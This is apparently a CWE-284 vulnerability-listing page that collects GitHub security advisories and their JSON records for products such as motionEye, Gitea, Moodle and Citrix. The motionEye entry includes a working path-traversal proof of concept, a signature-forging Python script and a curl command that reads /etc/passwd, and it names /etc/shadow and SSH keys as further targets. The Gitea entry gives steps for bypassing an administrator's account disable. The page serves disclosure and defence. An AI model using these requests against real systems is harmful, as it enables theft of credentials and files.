CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8430 vulnerabilities reference this CWE, most recent first.
GHSA-G955-97XM-8WWW
Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-61333"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:19:01Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-g955-97xm-8www",
"modified": "2026-07-22T00:32:29Z",
"published": "2026-07-22T00:32:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61333"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G96H-WVRM-C2WW
Vulnerability from github – Published: 2022-05-13 01:12 – Updated: 2024-04-23 23:41The user editing form in Moodle 3.0 through 3.0.3, 2.9 through 2.9.5, 2.8 through 2.8.11, 2.7 through 2.7.13, and earlier allows remote authenticated users to edit profile fields locked by the administrator.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.9"
},
{
"fixed": "2.9.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.8"
},
{
"fixed": "2.8.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "2.7"
},
{
"fixed": "2.7.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-3729"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-23T23:41:12Z",
"nvd_published_at": "2017-04-20T21:59:00Z",
"severity": "MODERATE"
},
"details": "The user editing form in Moodle 3.0 through 3.0.3, 2.9 through 2.9.5, 2.8 through 2.8.11, 2.7 through 2.7.13, and earlier allows remote authenticated users to edit profile fields locked by the administrator.",
"id": "GHSA-g96h-wvrm-c2ww",
"modified": "2024-04-23T23:41:12Z",
"published": "2022-05-13T01:12:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3729"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1335933"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/17/4"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035902"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle Improper Access Control"
}
GHSA-G982-RV37-97R8
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30Improper access control in Windows Event Logging Service allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-33834"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:05Z",
"severity": "HIGH"
},
"details": "Improper access control in Windows Event Logging Service allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-g982-rv37-97r8",
"modified": "2026-05-12T18:30:42Z",
"published": "2026-05-12T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33834"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9FX-5R4H-PCW3
Vulnerability from github – Published: 2026-06-22 17:10 – Updated: 2026-06-22 17:10Summary
motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions like get_media_preview() check for .. sequences in the filename parameter, except get_media_content() which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.
Details
The get_media_content() function properly validates the path:
# mediafiles.py ~line 506 — SAFE
def get_media_content(camera_config, path, media_type):
target_dir = camera_config['target_dir']
full_path = os.path.join(target_dir, path)
if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT
return None
...
But get_media_preview() does NOT:
# mediafiles.py ~line 910 — VULNERABLE
def get_media_preview(camera_config, path, media_type, ...):
target_dir = camera_config['target_dir']
full_path = os.path.join(target_dir, path)
# <-- NO '..' CHECK
...
Similarly, del_media_content() at line ~865 is also missing the check. This is a classic inconsistent fix pattern.
The exploit requires %2F-encoded slashes (..%2F..%2F) which Tornado's URL router does NOT normalize — it passes the raw ../ through to os.path.join().
PoC
Step 1: Authenticate as any user (normal or admin).
Step 2: Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is SHA1("GET:<path>?_username=<user>::<password>"). With the default empty admin password:
#!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)
def compute_signature(method, path, key=''):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([(q[0] + '=' + q[1]) for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()
path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')
Step 3: Send the request using curl --path-as-is (the --path-as-is flag is required — without it, curl normalizes ..%2F and collapses the traversal before sending):
# With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"
Step 4: The server returns the contents of /etc/passwd.
Verified output:
Note on the signature value: The signature
8b387100a519c617bdd66fe629d14b05e09c6e0cis valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as thekeyparameter.
Impact
An authenticated user (normal or admin) can read arbitrary files from the server, including:
/etc/passwd— user enumeration/etc/motioneye/motion.conf— admin password hash, surveillance password in plaintext/etc/shadow— password hashes (if running as root, which is default in Docker)- SSH keys, environment variables, and other sensitive configuration files
- Surveillance footage from other cameras
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.44.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31978"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T17:10:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 \u2014 SAFE\ndef get_media_content(camera_config, path, media_type):\n target_dir = camera_config[\u0027target_dir\u0027]\n full_path = os.path.join(target_dir, path)\n\n if \u0027..\u0027 in path: # \u003c-- PATH TRAVERSAL CHECK PRESENT\n return None\n ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 \u2014 VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n target_dir = camera_config[\u0027target_dir\u0027]\n full_path = os.path.join(target_dir, path)\n # \u003c-- NO \u0027..\u0027 CHECK\n ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado\u0027s URL router does NOT normalize \u2014 it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:\u003cpath\u003e?_username=\u003cuser\u003e::\u003cpassword\u003e\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r\u0027[^A-Za-z0-9/?_.=\u0026{}\\[\\]\\\":, -]\u0027, re.DOTALL)\n\ndef compute_signature(method, path, key=\u0027\u0027):\n parts = list(urllib.parse.urlsplit(path))\n query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != \u0027_signature\u0027]\n query.sort(key=lambda q: q[0])\n query = [(n, urllib.parse.quote(v, safe=\"!\u0027()*~\")) for (n, v) in query]\n query = \u0027\u0026\u0027.join([(q[0] + \u0027=\u0027 + q[1]) for q in query])\n parts[0] = parts[1] = \u0027\u0027\n parts[3] = query\n path = urllib.parse.urlunsplit(parts)\n path = _SIGNATURE_REGEX.sub(\u0027-\u0027, path)\n key = _SIGNATURE_REGEX.sub(\u0027-\u0027, key)\n return hashlib.sha1((\u0027{}:{}:{}:{}\u0027.format(method, path, \u0027\u0027, key)).encode(\u0027utf-8\u0027)).hexdigest().lower()\n\npath = \u0027/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0027\nsig = compute_signature(\u0027GET\u0027, path)\nprint(f\u0027Signature: {sig}\u0027)\nprint(f\u0027curl --path-as-is -s \"http://TARGET:8765/{path}\u0026_signature={sig}\"\u0027)\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** \u2014 without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0026_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\u003cimg width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" /\u003e\n\n\u003e **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- `/etc/motioneye/motion.conf` \u2014 admin password hash, surveillance password in plaintext\n- `/etc/shadow` \u2014 password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras",
"id": "GHSA-g9fx-5r4h-pcw3",
"modified": "2026-06-22T17:10:38Z",
"published": "2026-06-22T17:10:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint"
}
GHSA-G9G6-QHRC-P3QC
Vulnerability from github – Published: 2026-07-21 21:48 – Updated: 2026-07-21 21:48Summary
The OAuth2 sign-in callback in Gitea 1.26.1 unconditionally re-enables a locally-disabled account whenever the user authenticates through a linked external identity provider, silently undoing any administrator-initiated Disable Account action and issuing a fresh authenticated session in the same response. Once a user has linked any external IdP, the administrator's disable toggle becomes non-binding — the user can re-enable themselves on demand by completing one OAuth callback, regaining full read and write access to their repositories, organizations, and access tokens.
Details
Improper Authorization is present on the code and state parameters of the /user/oauth2/{source-name}/callback endpoint in Gitea version 1.26.1. The handler routers/web/auth/oauth.go::handleOAuth2SignIn reads the local user's IsActive flag at lines 350-352 and, when it is false, sets opts.IsActive = optional.Some(true) before calling user_service.UpdateUser and immediately establishing a session. The active-state precondition that the request middleware routers/web/web.go::verifyAuthWithOptions enforces for every other request is therefore evaluated against the freshly-flipped row on the next request, so a site administrator's "disable user" action is silently undone the next time the user authenticates through any linked external identity provider.
The root cause is that the callback path treats the local IsActive flag as stale bookkeeping to reconcile against the external identity, rather than as an authoritative administrative override. The local-credential sign-in path correctly renders IsErrUserInactive in the same condition; only the OAuth callback path flips the flag and proceeds.
PoC
- As a site administrator, configure an OAuth2 authentication source via
Site Administration -> Authentication Sources -> Add Authentication Source. Any external provider works (a self-hosted Keycloak, an upstream Gitea acting as OIDC, GitHub, GitLab, Microsoft, Google). - Have a normal user (
alicein the example) sign in through that source at least once. The callback creates the row inexternal_login_userlinking alice's local account to the IdP identity. - As the site administrator, disable alice's account:
Site Administration -> User Accounts -> alice -> "Disable Account". Confirm the flag is set with the admin API.
HTTP REQUEST
GET /api/v1/admin/users/alice HTTP/1.1
Host: <HOST>
Authorization: token <ADMIN_TOKEN>
Accept: application/json
HTTP RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
{"id":2,"login":"alice","active":false,...}
- Have alice click "Sign in with " on the Gitea login page and complete the OAuth dance with the IdP. The callback handler runs, observes
IsActive=false, setsopts.IsActive=true, callsUpdateUser, and issues a session on the same response. Alice lands on/. - Re-read the same admin API endpoint and observe that
activehas flipped back totruewithout administrator action.
HTTP REQUEST
GET /api/v1/admin/users/alice HTTP/1.1
Host: <HOST>
Authorization: token <ADMIN_TOKEN>
Accept: application/json
HTTP RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
{"id":2,"login":"alice","active":true,...}
Impact
Once a user has linked any external identity provider, the site administrator's "disable user" toggle becomes non-binding on that account: the user can re-enable themselves on demand by completing one OAuth callback, regaining full read and write access to their repositories, organizations, and tokens. In SSO-fronted Gitea deployments where the disable toggle is the documented incident-response action for compromised accounts or departed employees, this defeats the only short-term remediation available before the identity provider can revoke the underlying federated identity.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58422"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:48:48Z",
"nvd_published_at": "2026-07-03T21:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe OAuth2 sign-in callback in Gitea 1.26.1 unconditionally re-enables a locally-disabled account whenever the user authenticates through a linked external identity provider, silently undoing any administrator-initiated `Disable Account` action and issuing a fresh authenticated session in the same response. Once a user has linked any external IdP, the administrator\u0027s disable toggle becomes non-binding \u2014 the user can re-enable themselves on demand by completing one OAuth callback, regaining full read and write access to their repositories, organizations, and access tokens.\n\n### Details\n\nImproper Authorization is present on the `code` and `state` parameters of the `/user/oauth2/{source-name}/callback` endpoint in Gitea version 1.26.1. The handler `routers/web/auth/oauth.go::handleOAuth2SignIn` reads the local user\u0027s `IsActive` flag at lines 350-352 and, when it is `false`, sets `opts.IsActive = optional.Some(true)` before calling `user_service.UpdateUser` and immediately establishing a session. The active-state precondition that the request middleware `routers/web/web.go::verifyAuthWithOptions` enforces for every other request is therefore evaluated against the freshly-flipped row on the next request, so a site administrator\u0027s \"disable user\" action is silently undone the next time the user authenticates through any linked external identity provider.\n\nThe root cause is that the callback path treats the local `IsActive` flag as stale bookkeeping to reconcile against the external identity, rather than as an authoritative administrative override. The local-credential sign-in path correctly renders `IsErrUserInactive` in the same condition; only the OAuth callback path flips the flag and proceeds.\n\n### PoC\n\n1. As a site administrator, configure an OAuth2 authentication source via `Site Administration -\u003e Authentication Sources -\u003e Add Authentication Source`. Any external provider works (a self-hosted Keycloak, an upstream Gitea acting as OIDC, GitHub, GitLab, Microsoft, Google).\n2. Have a normal user (`alice` in the example) sign in through that source at least once. The callback creates the row in `external_login_user` linking alice\u0027s local account to the IdP identity.\n3. As the site administrator, disable alice\u0027s account: `Site Administration -\u003e User Accounts -\u003e alice -\u003e \"Disable Account\"`. Confirm the flag is set with the admin API.\n\n#### HTTP REQUEST\n\n```http\nGET /api/v1/admin/users/alice HTTP/1.1\nHost: \u003cHOST\u003e\nAuthorization: token \u003cADMIN_TOKEN\u003e\nAccept: application/json\n```\n\n#### HTTP RESPONSE\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=utf-8\n\n{\"id\":2,\"login\":\"alice\",\"active\":false,...}\n```\n\n4. Have alice click \"Sign in with \u003csource-name\u003e\" on the Gitea login page and complete the OAuth dance with the IdP. The callback handler runs, observes `IsActive=false`, sets `opts.IsActive=true`, calls `UpdateUser`, and issues a session on the same response. Alice lands on `/`.\n5. Re-read the same admin API endpoint and observe that `active` has flipped back to `true` without administrator action.\n\n#### HTTP REQUEST\n\n```http\nGET /api/v1/admin/users/alice HTTP/1.1\nHost: \u003cHOST\u003e\nAuthorization: token \u003cADMIN_TOKEN\u003e\nAccept: application/json\n```\n\n#### HTTP RESPONSE\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=utf-8\n\n{\"id\":2,\"login\":\"alice\",\"active\":true,...}\n```\n\n### Impact\n\nOnce a user has linked any external identity provider, the site administrator\u0027s \"disable user\" toggle becomes non-binding on that account: the user can re-enable themselves on demand by completing one OAuth callback, regaining full read and write access to their repositories, organizations, and tokens. In SSO-fronted Gitea deployments where the disable toggle is the documented incident-response action for compromised accounts or departed employees, this defeats the only short-term remediation available before the identity provider can revoke the underlying federated identity.",
"id": "GHSA-g9g6-qhrc-p3qc",
"modified": "2026-07-21T21:48:48Z",
"published": "2026-07-21T21:48:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-g9g6-qhrc-p3qc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58422"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38009"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/c43eb7c33a100ffc7b2367adf165f7085e0ccdc5"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: Improper authorization on OAuth sign-in callback silently re-enables administrator-disabled accounts"
}
GHSA-G9HH-J62Q-7JRM
Vulnerability from github – Published: 2022-05-17 03:28 – Updated: 2022-05-17 03:28A remote code execution vulnerability in libjpeg in Android 4.x before 4.4.4, 5.0.x before 5.0.2, and 5.1.x before 5.1.1 could enable an attacker using a specially crafted file to execute arbitrary code in the context of an unprivileged process. This issue is rated as High due to the possibility of remote code execution in an application that uses libjpeg. Android ID: A-30259087.
{
"affected": [],
"aliases": [
"CVE-2016-6702"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-11-25T16:59:00Z",
"severity": "HIGH"
},
"details": "A remote code execution vulnerability in libjpeg in Android 4.x before 4.4.4, 5.0.x before 5.0.2, and 5.1.x before 5.1.1 could enable an attacker using a specially crafted file to execute arbitrary code in the context of an unprivileged process. This issue is rated as High due to the possibility of remote code execution in an application that uses libjpeg. Android ID: A-30259087.",
"id": "GHSA-g9hh-j62q-7jrm",
"modified": "2022-05-17T03:28:59Z",
"published": "2022-05-17T03:28:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6702"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2016-11-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94160"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9QP-9HG6-HMP7
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Improper access control in SQL Server allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2025-24999"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T18:15:27Z",
"severity": "HIGH"
},
"details": "Improper access control in SQL Server allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-g9qp-9hg6-hmp7",
"modified": "2025-08-12T18:31:30Z",
"published": "2025-08-12T18:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24999"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24999"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9X9-WG38-WJF3
Vulnerability from github – Published: 2026-07-06 00:30 – Updated: 2026-07-06 00:30A vulnerability was identified in SourceCodester Onlne Examination & Learning Management System 1.0. Affected is an unknown function of the file /process_lesson.php. Such manipulation of the argument user_id leads to unrestricted upload. The attack may be launched remotely. The exploit is publicly available and might be used. The name of the affected product appears to have a typo in it.
{
"affected": [],
"aliases": [
"CVE-2026-14775"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-05T23:16:53Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in SourceCodester Onlne Examination \u0026 Learning Management System 1.0. Affected is an unknown function of the file /process_lesson.php. Such manipulation of the argument user_id leads to unrestricted upload. The attack may be launched remotely. The exploit is publicly available and might be used. The name of the affected product appears to have a typo in it.",
"id": "GHSA-g9x9-wg38-wjf3",
"modified": "2026-07-06T00:30:23Z",
"published": "2026-07-06T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14775"
},
{
"type": "WEB",
"url": "https://github.com/nuiifornet/A033/blob/main/OE-LMS-RCE-1-process_lesson.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-14775"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/850677"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376365"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376365/cti"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GC25-M8G6-JP4F
Vulnerability from github – Published: 2026-03-12 00:31 – Updated: 2026-03-16 15:30Insufficient policy enforcement in ChromeDriver in Google Chrome prior to 146.0.7680.71 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-3934"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T22:16:36Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in ChromeDriver in Google Chrome prior to 146.0.7680.71 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-gc25-m8g6-jp4f",
"modified": "2026-03-16T15:30:34Z",
"published": "2026-03-12T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3934"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_10.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/478783560"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GC2G-58XQ-CQ5H
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.
{
"affected": [],
"aliases": [
"CVE-2020-8196"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-287",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-10T16:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 resulting in limited information disclosure to low privileged users.",
"id": "GHSA-gc2g-58xq-cq5h",
"modified": "2025-10-22T00:31:56Z",
"published": "2022-05-24T17:22:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8196"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX276688"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8196"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
